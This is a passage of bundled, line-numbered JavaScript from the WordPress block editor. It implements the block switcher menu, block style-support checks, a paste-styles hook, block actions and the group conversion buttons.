49867 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49868 block_preview_default,
49869 {
49870 blocks: pattern.transformedBlocks,
49871 viewportWidth: pattern.viewportWidth || 500
49872 }
49873 ),
49874 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `${baseClassName}-list__item-title`, children: pattern.title })
49875 ]
49876 }
49877 ),
49878 !!pattern.description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: descriptionId, children: pattern.description })
49879 ] });
49880}
49881var pattern_transformations_menu_default = PatternTransformationsMenu;
49882
49883
49884;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/index.js
49885
49886
49887
49888
49889
49890
49891
49892
49893
49894
49895
49896
49897
49898
49899
49900function BlockSwitcherDropdownMenuContents({
49901 onClose,
49902 clientIds,
49903 hasBlockStyles,
49904 canRemove
49905}) {
49906 const { replaceBlocks, multiSelect, updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
49907 const { possibleBlockTransformations, patterns, blocks, isUsingBindings } = (0,external_wp_data_namespaceObject.useSelect)(
49908 (select) => {
49909 const {
49910 getBlockAttributes,
49911 getBlocksByClientId,
49912 getBlockRootClientId,
49913 getBlockTransformItems,
49914 __experimentalGetPatternTransformItems
49915 } = select(store);
49916 const rootClientId = getBlockRootClientId(clientIds[0]);
49917 const _blocks = getBlocksByClientId(clientIds);
49918 return {
49919 blocks: _blocks,
49920 possibleBlockTransformations: getBlockTransformItems(
49921 _blocks,
49922 rootClientId
49923 ),
49924 patterns: __experimentalGetPatternTransformItems(
49925 _blocks,
49926 rootClientId
49927 ),
49928 isUsingBindings: clientIds.every(
49929 (clientId) => !!getBlockAttributes(clientId)?.metadata?.bindings
49930 )
49931 };
49932 },
49933 [clientIds]
49934 );
49935 const blockVariationTransformations = useBlockVariationTransforms({
49936 clientIds,
49937 blocks
49938 });
49939 function selectForMultipleBlocks(insertedBlocks) {
49940 if (insertedBlocks.length > 1) {
49941 multiSelect(
49942 insertedBlocks[0].clientId,
49943 insertedBlocks[insertedBlocks.length - 1].clientId
49944 );
49945 }
49946 }
49947 function onBlockTransform(name) {
49948 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(blocks, name);
49949 replaceBlocks(clientIds, newBlocks);
49950 selectForMultipleBlocks(newBlocks);
49951 }
49952 function onBlockVariationTransform(name) {
49953 updateBlockAttributes(blocks[0].clientId, {
49954 ...blockVariationTransformations.find(
49955 ({ name: variationName }) => variationName === name
49956 ).attributes
49957 });
49958 }
49959 function onPatternTransform(transformedBlocks) {
49960 replaceBlocks(clientIds, transformedBlocks);
49961 selectForMultipleBlocks(transformedBlocks);
49962 }
49963 const isSingleBlock = blocks.length === 1;
49964 const isSynced = isSingleBlock && ((0,external_wp_blocks_namespaceObject.isTemplatePart)(blocks[0]) || (0,external_wp_blocks_namespaceObject.isReusableBlock)(blocks[0]));
49965 const hasPossibleBlockTransformations = !!possibleBlockTransformations?.length && canRemove && !isSynced;
49966 const hasPossibleBlockVariationTransformations = !!blockVariationTransformations?.length;
49967 const hasPatternTransformation = !!patterns?.length && canRemove;
49968 const hasBlockOrBlockVariationTransforms = hasPossibleBlockTransformations || hasPossibleBlockVariationTransformations;
49969 const hasContents = hasBlockStyles || hasBlockOrBlockVariationTransforms || hasPatternTransformation;
49970 if (!hasContents) {
49971 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-editor-block-switcher__no-transforms", children: (0,external_wp_i18n_namespaceObject.__)("No transforms.") });
49972 }
49973 const connectedBlockDescription = isSingleBlock ? (0,external_wp_i18n_namespaceObject._x)(
49974 "This block is connected.",
49975 "block toolbar button label and description"
49976 ) : (0,external_wp_i18n_namespaceObject._x)(
49977 "These blocks are connected.",
49978 "block toolbar button label and description"
49979 );
49980 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-switcher__container", children: [
49981 hasPatternTransformation && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49982 pattern_transformations_menu_default,
49983 {
49984 blocks,
49985 patterns,
49986 onSelect: (transformedBlocks) => {
49987 onPatternTransform(transformedBlocks);
49988 onClose();
49989 }
49990 }
49991 ),
49992 hasBlockOrBlockVariationTransforms && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49993 block_transformations_menu_default,
49994 {
49995 className: "block-editor-block-switcher__transforms__menugroup",
49996 possibleBlockTransformations,
49997 possibleBlockVariationTransformations: blockVariationTransformations,
49998 blocks,
49999 onSelect: (name) => {
50000 onBlockTransform(name);
50001 onClose();
50002 },
50003 onSelectVariation: (name) => {
50004 onBlockVariationTransform(name);
50005 onClose();
50006 }
50007 }
50008 ),
50009 hasBlockStyles && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50010 BlockStylesMenu,
50011 {
50012 hoveredBlock: blocks[0],
50013 onSwitch: onClose
50014 }
50015 ),
50016 isUsingBindings && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { className: "block-editor-block-switcher__binding-indicator", children: connectedBlockDescription }) })
50017 ] });
50018}
50019const BlockSwitcher = ({ clientIds }) => {
50020 const {
50021 hasContentOnlyLocking,
50022 canRemove,
50023 hasBlockStyles,
50024 icon,
50025 invalidBlocks,
50026 isReusable,
50027 isTemplate,
50028 isDisabled,
50029 isSectionInSelection
50030 } = (0,external_wp_data_namespaceObject.useSelect)(
50031 (select) => {
50032 const {
50033 getTemplateLock,
50034 getBlocksByClientId,
50035 getBlockAttributes,
50036 canRemoveBlocks,
50037 getBlockEditingMode,
50038 isSectionBlock
50039 } = unlock(select(store));
50040 const { getBlockStyles, getBlockType, getActiveBlockVariation } = select(external_wp_blocks_namespaceObject.store);
50041 const _blocks = getBlocksByClientId(clientIds);
50042 if (!_blocks.length || _blocks.some((block) => !block)) {
50043 return { invalidBlocks: true };
50044 }
50045 const [{ name: firstBlockName }] = _blocks;
50046 const _isSingleBlockSelected = _blocks.length === 1;
50047 const blockType = getBlockType(firstBlockName);
50048 const editingMode = getBlockEditingMode(clientIds[0]);
50049 let _icon;
50050 let _hasTemplateLock;
50051 if (_isSingleBlockSelected) {
50052 const match = getActiveBlockVariation(
50053 firstBlockName,
50054 getBlockAttributes(clientIds[0])
50055 );
50056 _icon = match?.icon || blockType.icon;
50057 _hasTemplateLock = getTemplateLock(clientIds[0]) === "contentOnly";
50058 } else {
50059 const isSelectionOfSameType = new Set(_blocks.map(({ name }) => name)).size === 1;
50060 _hasTemplateLock = clientIds.some(
50061 (id) => getTemplateLock(id) === "contentOnly"
50062 );
50063 _icon = isSelectionOfSameType ? blockType.icon : copy_default;
50064 }
50065 const _isSectionInSelection = clientIds.some(
50066 (id) => isSectionBlock(id)
50067 );
50068 return {
50069 canRemove: canRemoveBlocks(clientIds),
50070 hasBlockStyles: _isSingleBlockSelected && !!getBlockStyles(firstBlockName)?.length,
50071 icon: _icon,
50072 isReusable: _isSingleBlockSelected && (0,external_wp_blocks_namespaceObject.isReusableBlock)(_blocks[0]),
50073 isTemplate: _isSingleBlockSelected && (0,external_wp_blocks_namespaceObject.isTemplatePart)(_blocks[0]),
50074 hasContentOnlyLocking: _hasTemplateLock,
50075 isDisabled: editingMode !== "default",
50076 isSectionInSelection: _isSectionInSelection
50077 };
50078 },
50079 [clientIds]
50080 );
50081 const blockTitle = useBlockDisplayTitle({
50082 clientId: clientIds?.[0],
50083 maximumLength: 35
50084 });
50085 const showIconLabels = (0,external_wp_data_namespaceObject.useSelect)(
50086 (select) => select(external_wp_preferences_namespaceObject.store).get("core", "showIconLabels"),
50087 []
50088 );
50089 if (invalidBlocks) {
50090 return null;
50091 }
50092 const isSingleBlock = clientIds.length === 1;
50093 const blockSwitcherLabel = isSingleBlock ? blockTitle : (0,external_wp_i18n_namespaceObject.__)("Multiple blocks selected");
50094 const blockIndicatorText = (isReusable || isTemplate) && !showIconLabels && blockTitle ? blockTitle : void 0;
50095 const hideTransformsForSections = window?.__experimentalContentOnlyPatternInsertion && isSectionInSelection;
50096 const hideDropdown = hideTransformsForSections || isDisabled || !hasBlockStyles && !canRemove || hasContentOnlyLocking;
50097 if (hideDropdown) {
50098 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50099 external_wp_components_namespaceObject.ToolbarButton,
50100 {
50101 disabled: true,
50102 className: "block-editor-block-switcher__no-switcher-icon",
50103 title: blockSwitcherLabel,
50104 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50105 block_icon_default,
50106 {
50107 className: "block-editor-block-switcher__toggle",
50108 icon,
50109 showColors: true
50110 }
50111 ),
50112 text: blockIndicatorText
50113 }
50114 ) });
50115 }
50116 const blockSwitcherDescription = isSingleBlock ? (0,external_wp_i18n_namespaceObject.__)("Change block type or style") : (0,external_wp_i18n_namespaceObject.sprintf)(
50117 /* translators: %d: number of blocks. */
50118 (0,external_wp_i18n_namespaceObject._n)(
50119 "Change type of %d block",
50120 "Change type of %d blocks",
50121 clientIds.length
50122 ),
50123 clientIds.length
50124 );
50125 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50126 external_wp_components_namespaceObject.DropdownMenu,
50127 {
50128 className: "block-editor-block-switcher",
50129 label: blockSwitcherLabel,
50130 popoverProps: {
50131 placement: "bottom-start",
50132 className: "block-editor-block-switcher__popover"
50133 },
50134 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50135 block_icon_default,
50136 {
50137 className: "block-editor-block-switcher__toggle",
50138 icon,
50139 showColors: true
50140 }
50141 ),
50142 text: blockIndicatorText,
50143 toggleProps: {
50144 description: blockSwitcherDescription,
50145 ...toggleProps
50146 },
50147 menuProps: { orientation: "both" },
50148 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50149 BlockSwitcherDropdownMenuContents,
50150 {
50151 onClose,
50152 clientIds,
50153 hasBlockStyles,
50154 canRemove
50155 }
50156 )
50157 }
50158 ) }) });
50159};
50160var block_switcher_default = BlockSwitcher;
50161
50162
50163;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/block-toolbar-last-item.js
50164
50165const { Fill: __unstableBlockToolbarLastItem, Slot: block_toolbar_last_item_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(
50166 "__unstableBlockToolbarLastItem"
50167);
50168__unstableBlockToolbarLastItem.Slot = block_toolbar_last_item_Slot;
50169var block_toolbar_last_item_default = __unstableBlockToolbarLastItem;
50170
50171
50172;// ./node_modules/@wordpress/block-editor/build-module/hooks/supports.js
50173
50174
50175const ALIGN_SUPPORT_KEY = "align";
50176const ALIGN_WIDE_SUPPORT_KEY = "alignWide";
50177const supports_BORDER_SUPPORT_KEY = "__experimentalBorder";
50178const supports_COLOR_SUPPORT_KEY = "color";
50179const CUSTOM_CLASS_NAME_SUPPORT_KEY = "customClassName";
50180const supports_FONT_FAMILY_SUPPORT_KEY = "typography.__experimentalFontFamily";
50181const supports_FONT_SIZE_SUPPORT_KEY = "typography.fontSize";
50182const supports_LINE_HEIGHT_SUPPORT_KEY = "typography.lineHeight";
50183const supports_FONT_STYLE_SUPPORT_KEY = "typography.__experimentalFontStyle";
50184const supports_FONT_WEIGHT_SUPPORT_KEY = "typography.__experimentalFontWeight";
50185const supports_TEXT_ALIGN_SUPPORT_KEY = "typography.textAlign";
50186const supports_TEXT_COLUMNS_SUPPORT_KEY = "typography.textColumns";
50187const supports_TEXT_DECORATION_SUPPORT_KEY = "typography.__experimentalTextDecoration";
50188const supports_WRITING_MODE_SUPPORT_KEY = "typography.__experimentalWritingMode";
50189const supports_TEXT_TRANSFORM_SUPPORT_KEY = "typography.__experimentalTextTransform";
50190const supports_LETTER_SPACING_SUPPORT_KEY = "typography.__experimentalLetterSpacing";
50191const LAYOUT_SUPPORT_KEY = "layout";
50192const supports_TYPOGRAPHY_SUPPORT_KEYS = [
50193 supports_LINE_HEIGHT_SUPPORT_KEY,
50194 supports_FONT_SIZE_SUPPORT_KEY,
50195 supports_FONT_STYLE_SUPPORT_KEY,
50196 supports_FONT_WEIGHT_SUPPORT_KEY,
50197 supports_FONT_FAMILY_SUPPORT_KEY,
50198 supports_TEXT_ALIGN_SUPPORT_KEY,
50199 supports_TEXT_COLUMNS_SUPPORT_KEY,
50200 supports_TEXT_DECORATION_SUPPORT_KEY,
50201 supports_TEXT_TRANSFORM_SUPPORT_KEY,
50202 supports_WRITING_MODE_SUPPORT_KEY,
50203 supports_LETTER_SPACING_SUPPORT_KEY
50204];
50205const EFFECTS_SUPPORT_KEYS = ["shadow"];
50206const supports_SPACING_SUPPORT_KEY = "spacing";
50207const supports_styleSupportKeys = [
50208 ...EFFECTS_SUPPORT_KEYS,
50209 ...supports_TYPOGRAPHY_SUPPORT_KEYS,
50210 supports_BORDER_SUPPORT_KEY,
50211 supports_COLOR_SUPPORT_KEY,
50212 supports_SPACING_SUPPORT_KEY
50213];
50214const hasAlignSupport = (nameOrType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, ALIGN_SUPPORT_KEY);
50215const getAlignSupport = (nameOrType) => getBlockSupport(nameOrType, ALIGN_SUPPORT_KEY);
50216const hasAlignWideSupport = (nameOrType) => hasBlockSupport(nameOrType, ALIGN_WIDE_SUPPORT_KEY);
50217const getAlignWideSupport = (nameOrType) => getBlockSupport(nameOrType, ALIGN_WIDE_SUPPORT_KEY);
50218function supports_hasBorderSupport(nameOrType, feature = "any") {
50219 if (external_wp_element_namespaceObject.Platform.OS !== "web") {
50220 return false;
50221 }
50222 const support = (0,external_wp_blocks_namespaceObject.getBlockSupport)(nameOrType, supports_BORDER_SUPPORT_KEY);
50223 if (support === true) {
50224 return true;
50225 }
50226 if (feature === "any") {
50227 return !!(support?.color || support?.radius || support?.width || support?.style);
50228 }
50229 return !!support?.[feature];
50230}
50231const getBorderSupport = (nameOrType, feature) => getBlockSupport(nameOrType, [supports_BORDER_SUPPORT_KEY, feature]);
50232const supports_hasColorSupport = (nameOrType) => {
50233 const colorSupport = getBlockSupport(nameOrType, supports_COLOR_SUPPORT_KEY);
50234 return colorSupport && (colorSupport.link === true || colorSupport.gradient === true || colorSupport.background !== false || colorSupport.text !== false);
50235};
50236const supports_hasLinkColorSupport = (nameOrType) => {
50237 if (Platform.OS !== "web") {
50238 return false;
50239 }
50240 const colorSupport = getBlockSupport(nameOrType, supports_COLOR_SUPPORT_KEY);
50241 return colorSupport !== null && typeof colorSupport === "object" && !!colorSupport.link;
50242};
50243const supports_hasGradientSupport = (nameOrType) => {
50244 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(nameOrType, supports_COLOR_SUPPORT_KEY);
50245 return colorSupport !== null && typeof colorSupport === "object" && !!colorSupport.gradients;
50246};
50247const supports_hasBackgroundColorSupport = (nameOrType) => {
50248 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(nameOrType, supports_COLOR_SUPPORT_KEY);
50249 return colorSupport && colorSupport.background !== false;
50250};
50251const hasTextAlignSupport = (nameOrType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, supports_TEXT_ALIGN_SUPPORT_KEY);
50252const getTextAlignSupport = (nameOrType) => getBlockSupport(nameOrType, supports_TEXT_ALIGN_SUPPORT_KEY);
50253const supports_hasTextColorSupport = (nameOrType) => {
50254 const colorSupport = (0,external_wp_blocks_namespaceObject.getBlockSupport)(nameOrType, supports_COLOR_SUPPORT_KEY);
50255 return colorSupport && colorSupport.text !== false;
50256};
50257const getColorSupport = (nameOrType, feature) => getBlockSupport(nameOrType, [supports_COLOR_SUPPORT_KEY, feature]);
50258const hasCustomClassNameSupport = (nameOrType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, CUSTOM_CLASS_NAME_SUPPORT_KEY, true);
50259const getCustomClassNameSupport = (nameOrType) => getBlockSupport(nameOrType, CUSTOM_CLASS_NAME_SUPPORT_KEY, true);
50260const hasFontFamilySupport = (nameOrType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, supports_FONT_FAMILY_SUPPORT_KEY);
50261const getFontFamilySupport = (nameOrType) => getBlockSupport(nameOrType, supports_FONT_FAMILY_SUPPORT_KEY);
50262const hasFontSizeSupport = (nameOrType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, supports_FONT_SIZE_SUPPORT_KEY);
50263const getFontSizeSupport = (nameOrType) => getBlockSupport(nameOrType, supports_FONT_SIZE_SUPPORT_KEY);
50264const hasLayoutSupport = (nameOrType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, LAYOUT_SUPPORT_KEY);
50265const getLayoutSupport = (nameOrType) => getBlockSupport(nameOrType, LAYOUT_SUPPORT_KEY);
50266const supports_hasStyleSupport = (nameOrType) => supports_styleSupportKeys.some((key) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(nameOrType, key));
50267
50268
50269;// ./node_modules/@wordpress/block-editor/build-module/components/use-paste-styles/index.js
50270
50271
50272
50273
50274
50275
50276
50277function hasSerializedBlocks(text) {
50278 try {
50279 const blocks = (0,external_wp_blocks_namespaceObject.parse)(text, {
50280 __unstableSkipMigrationLogs: true,
50281 __unstableSkipAutop: true
50282 });
50283 if (blocks.length === 1 && blocks[0].name === "core/freeform") {
50284 return false;
50285 }
50286 return true;
50287 } catch (err) {
50288 return false;
50289 }
50290}
50291const STYLE_ATTRIBUTES = {
50292 align: hasAlignSupport,
50293 borderColor: (nameOrType) => supports_hasBorderSupport(nameOrType, "color"),
50294 backgroundColor: supports_hasBackgroundColorSupport,
50295 textAlign: hasTextAlignSupport,
50296 textColor: supports_hasTextColorSupport,
50297 gradient: supports_hasGradientSupport,
50298 className: hasCustomClassNameSupport,
50299 fontFamily: hasFontFamilySupport,
50300 fontSize: hasFontSizeSupport,
50301 layout: hasLayoutSupport,
50302 style: supports_hasStyleSupport
50303};
50304function getStyleAttributes(sourceBlock, targetBlock) {
50305 return Object.entries(STYLE_ATTRIBUTES).reduce(
50306 (attributes, [attributeKey, hasSupport]) => {
50307 if (hasSupport(sourceBlock.name) && hasSupport(targetBlock.name)) {
50308 attributes[attributeKey] = sourceBlock.attributes[attributeKey];
50309 }
50310 return attributes;
50311 },
50312 {}
50313 );
50314}
50315function recursivelyUpdateBlockAttributes(targetBlocks, sourceBlocks, updateBlockAttributes) {
50316 for (let index = 0; index < Math.min(sourceBlocks.length, targetBlocks.length); index += 1) {
50317 updateBlockAttributes(
50318 targetBlocks[index].clientId,
50319 getStyleAttributes(sourceBlocks[index], targetBlocks[index])
50320 );
50321 recursivelyUpdateBlockAttributes(
50322 targetBlocks[index].innerBlocks,
50323 sourceBlocks[index].innerBlocks,
50324 updateBlockAttributes
50325 );
50326 }
50327}
50328function usePasteStyles() {
50329 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
50330 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
50331 const { createSuccessNotice, createWarningNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
50332 return (0,external_wp_element_namespaceObject.useCallback)(
50333 async (targetBlocks) => {
50334 let html = "";
50335 try {
50336 if (!window.navigator.clipboard) {
50337 createErrorNotice(
50338 (0,external_wp_i18n_namespaceObject.__)(
50339 "Unable to paste styles. This feature is only available on secure (https) sites in supporting browsers."
50340 ),
50341 { type: "snackbar" }
50342 );
50343 return;
50344 }
50345 html = await window.navigator.clipboard.readText();
50346 } catch (error) {
50347 createErrorNotice(
50348 (0,external_wp_i18n_namespaceObject.__)(
50349 "Unable to paste styles. Please allow browser clipboard permissions before continuing."
50350 ),
50351 {
50352 type: "snackbar"
50353 }
50354 );
50355 return;
50356 }
50357 if (!html || !hasSerializedBlocks(html)) {
50358 createWarningNotice(
50359 (0,external_wp_i18n_namespaceObject.__)(
50360 "Unable to paste styles. Block styles couldn't be found within the copied content."
50361 ),
50362 {
50363 type: "snackbar"
50364 }
50365 );
50366 return;
50367 }
50368 const copiedBlocks = (0,external_wp_blocks_namespaceObject.parse)(html);
50369 if (copiedBlocks.length === 1) {
50370 registry.batch(() => {
50371 recursivelyUpdateBlockAttributes(
50372 targetBlocks,
50373 targetBlocks.map(() => copiedBlocks[0]),
50374 updateBlockAttributes
50375 );
50376 });
50377 } else {
50378 registry.batch(() => {
50379 recursivelyUpdateBlockAttributes(
50380 targetBlocks,
50381 copiedBlocks,
50382 updateBlockAttributes
50383 );
50384 });
50385 }
50386 if (targetBlocks.length === 1) {
50387 const title = (0,external_wp_blocks_namespaceObject.getBlockType)(targetBlocks[0].name)?.title;
50388 createSuccessNotice(
50389 (0,external_wp_i18n_namespaceObject.sprintf)(
50390 // Translators: %s: Name of the block being pasted, e.g. "Paragraph".
50391 (0,external_wp_i18n_namespaceObject.__)("Pasted styles to %s."),
50392 title
50393 ),
50394 { type: "snackbar" }
50395 );
50396 } else {
50397 createSuccessNotice(
50398 (0,external_wp_i18n_namespaceObject.sprintf)(
50399 // Translators: %d: The number of the blocks.
50400 (0,external_wp_i18n_namespaceObject.__)("Pasted styles to %d blocks."),
50401 targetBlocks.length
50402 ),
50403 { type: "snackbar" }
50404 );
50405 }
50406 },
50407 [
50408 registry.batch,
50409 updateBlockAttributes,
50410 createSuccessNotice,
50411 createWarningNotice,
50412 createErrorNotice
50413 ]
50414 );
50415}
50416
50417
50418;// ./node_modules/@wordpress/block-editor/build-module/components/block-actions/index.js
50419
50420
50421
50422
50423function BlockActions({
50424 clientIds,
50425 children,
50426 __experimentalUpdateSelection: updateSelection
50427}) {
50428 const { getDefaultBlockName, getGroupingBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
50429 const selected = (0,external_wp_data_namespaceObject.useSelect)(
50430 (select) => {
50431 const {
50432 canInsertBlockType,
50433 getBlockRootClientId,
50434 getBlocksByClientId: getBlocksByClientId2,
50435 getDirectInsertBlock,
50436 canRemoveBlocks
50437 } = select(store);
50438 const blocks = getBlocksByClientId2(clientIds);
50439 const rootClientId = getBlockRootClientId(clientIds[0]);
50440 const canInsertDefaultBlock = canInsertBlockType(
50441 getDefaultBlockName(),
50442 rootClientId
50443 );
50444 const directInsertBlock = rootClientId ? getDirectInsertBlock(rootClientId) : null;
50445 return {
50446 canRemove: canRemoveBlocks(clientIds),
50447 canInsertBlock: blocks.every((block) => {
50448 return (canInsertDefaultBlock || !!directInsertBlock) && canInsertBlockType(block.name, rootClientId);
50449 }),
50450 canCopyStyles: blocks.every((block) => {
50451 return !!block && ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, "color") || (0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, "typography"));
50452 }),
50453 canDuplicate: blocks.every((block) => {
50454 return !!block && (0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, "multiple", true) && canInsertBlockType(block.name, rootClientId);
50455 })
50456 };
50457 },
50458 [clientIds, getDefaultBlockName]
50459 );
50460 const { getBlocksByClientId, getBlocks } = (0,external_wp_data_namespaceObject.useSelect)(store);
50461 const { canRemove, canInsertBlock, canCopyStyles, canDuplicate } = selected;
50462 const {
50463 removeBlocks,
50464 replaceBlocks,
50465 duplicateBlocks,
50466 insertAfterBlock,
50467 insertBeforeBlock,
50468 flashBlock
50469 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
50470 const pasteStyles = usePasteStyles();
50471 return children({
50472 canCopyStyles,
50473 canDuplicate,
50474 canInsertBlock,
50475 canRemove,
50476 onDuplicate() {
50477 return duplicateBlocks(clientIds, updateSelection);
50478 },
50479 onRemove() {
50480 return removeBlocks(clientIds, updateSelection);
50481 },
50482 onInsertBefore() {
50483 insertBeforeBlock(clientIds[0]);
50484 },
50485 onInsertAfter() {
50486 insertAfterBlock(clientIds[clientIds.length - 1]);
50487 },
50488 onGroup() {
50489 if (!clientIds.length) {
50490 return;
50491 }
50492 const groupingBlockName = getGroupingBlockName();
50493 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
50494 getBlocksByClientId(clientIds),
50495 groupingBlockName
50496 );
50497 if (!newBlocks) {
50498 return;
50499 }
50500 replaceBlocks(clientIds, newBlocks);
50501 },
50502 onUngroup() {
50503 if (!clientIds.length) {
50504 return;
50505 }
50506 const innerBlocks = getBlocks(clientIds[0]);
50507 if (!innerBlocks.length) {
50508 return;
50509 }
50510 replaceBlocks(clientIds, innerBlocks);
50511 },
50512 onCopy() {
50513 if (clientIds.length === 1) {
50514 flashBlock(clientIds[0]);
50515 }
50516 },
50517 async onPasteStyles() {
50518 await pasteStyles(getBlocksByClientId(clientIds));
50519 }
50520 });
50521}
50522
50523
50524;// ./node_modules/@wordpress/block-editor/build-module/components/collab/block-comment-icon-slot.js
50525
50526const CommentIconSlotFill = (0,external_wp_components_namespaceObject.createSlotFill)(Symbol("CommentIconSlotFill"));
50527var block_comment_icon_slot_default = CommentIconSlotFill;
50528
50529
50530;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu/block-html-convert-button.js
50531
50532
50533
50534
50535
50536
50537function BlockHTMLConvertButton({ clientId }) {
50538 const block = (0,external_wp_data_namespaceObject.useSelect)(
50539 (select) => select(store).getBlock(clientId),
50540 [clientId]
50541 );
50542 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
50543 if (!block || block.name !== "core/html") {
50544 return null;
50545 }
50546 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
50547 external_wp_components_namespaceObject.MenuItem,
50548 {
50549 onClick: () => replaceBlocks(
50550 clientId,
50551 (0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: (0,external_wp_blocks_namespaceObject.getBlockContent)(block) })
50552 ),
50553 children: (0,external_wp_i18n_namespaceObject.__)("Convert to Blocks")
50554 }
50555 );
50556}
50557var block_html_convert_button_default = BlockHTMLConvertButton;
50558
50559
50560;// ./node_modules/@wordpress/block-editor/build-module/components/block-settings-menu/block-settings-menu-first-item.js
50561
50562const { Fill: __unstableBlockSettingsMenuFirstItem, Slot: block_settings_menu_first_item_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(
50563 "__unstableBlockSettingsMenuFirstItem"
50564);
50565__unstableBlockSettingsMenuFirstItem.Slot = block_settings_menu_first_item_Slot;
50566var block_settings_menu_first_item_default = __unstableBlockSettingsMenuFirstItem;
50567
50568
50569;// ./node_modules/@wordpress/block-editor/build-module/components/convert-to-group-buttons/use-convert-to-group-button-props.js
50570
50571
50572
50573function useConvertToGroupButtonProps(selectedClientIds) {
50574 return (0,external_wp_data_namespaceObject.useSelect)(
50575 (select) => {
50576 const {
50577 getBlocksByClientId,
50578 getSelectedBlockClientIds,
50579 isUngroupable,
50580 isGroupable
50581 } = select(store);
50582 const { getGroupingBlockName, getBlockType } = select(external_wp_blocks_namespaceObject.store);
50583 const clientIds = selectedClientIds?.length ? selectedClientIds : getSelectedBlockClientIds();
50584 const blocksSelection = getBlocksByClientId(clientIds);
50585 const [firstSelectedBlock] = blocksSelection;
50586 const _isUngroupable = clientIds.length === 1 && isUngroupable(clientIds[0]);
50587 return {
50588 clientIds,
50589 isGroupable: isGroupable(clientIds),
50590 isUngroupable: _isUngroupable,
50591 blocksSelection,
50592 groupingBlockName: getGroupingBlockName(),
50593 onUngroup: _isUngroupable && getBlockType(firstSelectedBlock.name)?.transforms?.ungroup
50594 };
50595 },
50596 [selectedClientIds]
50597 );
50598}
50599
50600
50601;// ./node_modules/@wordpress/block-editor/build-module/components/convert-to-group-buttons/index.js
50602
50603
50604
50605
50606
50607
50608
50609
50610
50611function ConvertToGroupButton({
50612 clientIds,
50613 isGroupable,
50614 isUngroupable,
50615 onUngroup,
50616 blocksSelection,
50617 groupingBlockName,
50618 onClose = () => {
50619 }
50620}) {
50621 const { getSelectedBlockClientIds } = (0,external_wp_data_namespaceObject.useSelect)(store);
50622 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(store);
50623 const onConvertToGroup = () => {
50624 const newBlocks = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
50625 blocksSelection,
50626 groupingBlockName
50627 );
50628 if (newBlocks) {
50629 replaceBlocks(clientIds, newBlocks);
50630 }
50631 };
50632 const onConvertFromGroup = () => {
50633 let innerBlocks = blocksSelection[0].innerBlocks;
50634 if (!innerBlocks.length) {
50635 return;
50636 }
50637 if (onUngroup) {
50638 innerBlocks = onUngroup(
50639 blocksSelection[0].attributes,
50640 blocksSelection[0].innerBlocks
50641 );
50642 }
50643 replaceBlocks(clientIds, innerBlocks);
50644 };
50645 if (!isGroupable && !isUngroupable) {
50646 return null;
50647 }
50648 const selectedBlockClientIds = getSelectedBlockClientIds();
50649 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
